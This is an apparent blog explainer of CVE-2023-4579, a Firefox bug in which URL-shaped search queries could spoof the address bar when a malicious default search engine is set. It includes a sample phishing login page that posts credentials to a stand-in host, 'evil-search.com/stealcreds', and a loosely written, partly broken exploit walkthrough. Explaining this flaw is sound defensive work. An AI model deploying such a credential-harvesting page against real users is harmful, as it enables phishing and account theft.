When we talk about browser vulnerabilities, most folks imagine code execution or privacy leaks. But sometimes, even the way your browser searches can put you at risk. CVE-2023-4579 is a prime example—it's a bug that let malicious actors make search queries to look like URLs you’d normally trust. That means dangerous website spoofing, and unless your Firefox is version 117 or newer, you were exposed.

Let’s break this down: what the bug is, how it works, how someone could exploit it, and what you should do.

The Vulnerability Explained

Firefox lets users set different search engines as the default. When you type something in the address bar, the browser either naviagtes to it (if it appears to be a URL), or sends it to the search engine as a search term.

The problem? If your search query is *formatted like a URL*, Firefox would display it in a way that made it look like you were already visiting that URL—even though the content was being served from your search engine, not the real site. If an attacker tricked you into using a malicious search engine (or got their own engine set as default), it could display whatever it wanted, but with a completely believable address in the bar. That’s *site spoofing*.

Official Description

> Search queries in the default search engine could appear to have been the currently navigated URL if the search query itself was a well formed URL. This could have led to a site spoofing another if it had been maliciously set as the default search engine.

Understanding With a Code Example

Let’s imagine you (the victim) have a malicious search engine as your default, with a search query formatted like a trusted URL. The engine’s response could make things very confusing.

Example Scenario

- Default search engine is set to https://evil-search.com/search?q=%s
- You type: https://secure-bank.com/login in the address bar

Firefox will send you to

https://evil-search.com/search?q=https://secure-bank.com/login

A smart malicious search engine could then return a fake *secure-bank.com* login page, but the address bar will still display what you typed—or enough to fool you.

Potential Exploit: Fake Login Phish

<!-- evil-search.com/search? -->
<html>
  <head><title>secure-bank.com — Login</title></head>
  <body>
    <h1>Welcome to Secure Bank</h1>
    <form action="https://evil-search.com/stealcreds"; method="POST">
      <input type="text" name="user">
      <input type="password" name="pass">
      <input type="submit" value="Log in">
    </form>
  </body>
</html>

Because the search query was a valid URL, Firefox's UI may show https://secure-bank.com/login (the search query) prominently. Unsuspecting users could hand over credentials.

Step by Step: How to Exploit

Anyone with the ability to manipulate your search engine settings (including browser extensions, malware, or a user tricked via social engineering) could set your default engine to a site they control.

`

https://evil-search.com/search?q=%s

Victim Types a Known URL:

- e.g., https://amazon.com/login

How Was It Fixed?

Mozilla patched this in Firefox 117 (release notes), making sure that the display in the address bar accurately reflects the page you’re actually on—not just what you searched for.

- Mozilla Security Advisory: MFSA 2023-33
- CVE-2023-4579 on NVD
- Firefox 117 Release Notes

Conclusion

CVE-2023-4579 is a perfect reminder: browser security is more than just technical exploits—it’s about trust and clarity in the interface. If the display can lie, attackers will take advantage. Always keep your browser updated, and double-check your search engines!

Timeline

Published on: 09/11/2023 09:15:00 UTC
Last modified on: 09/14/2023 03:53:00 UTC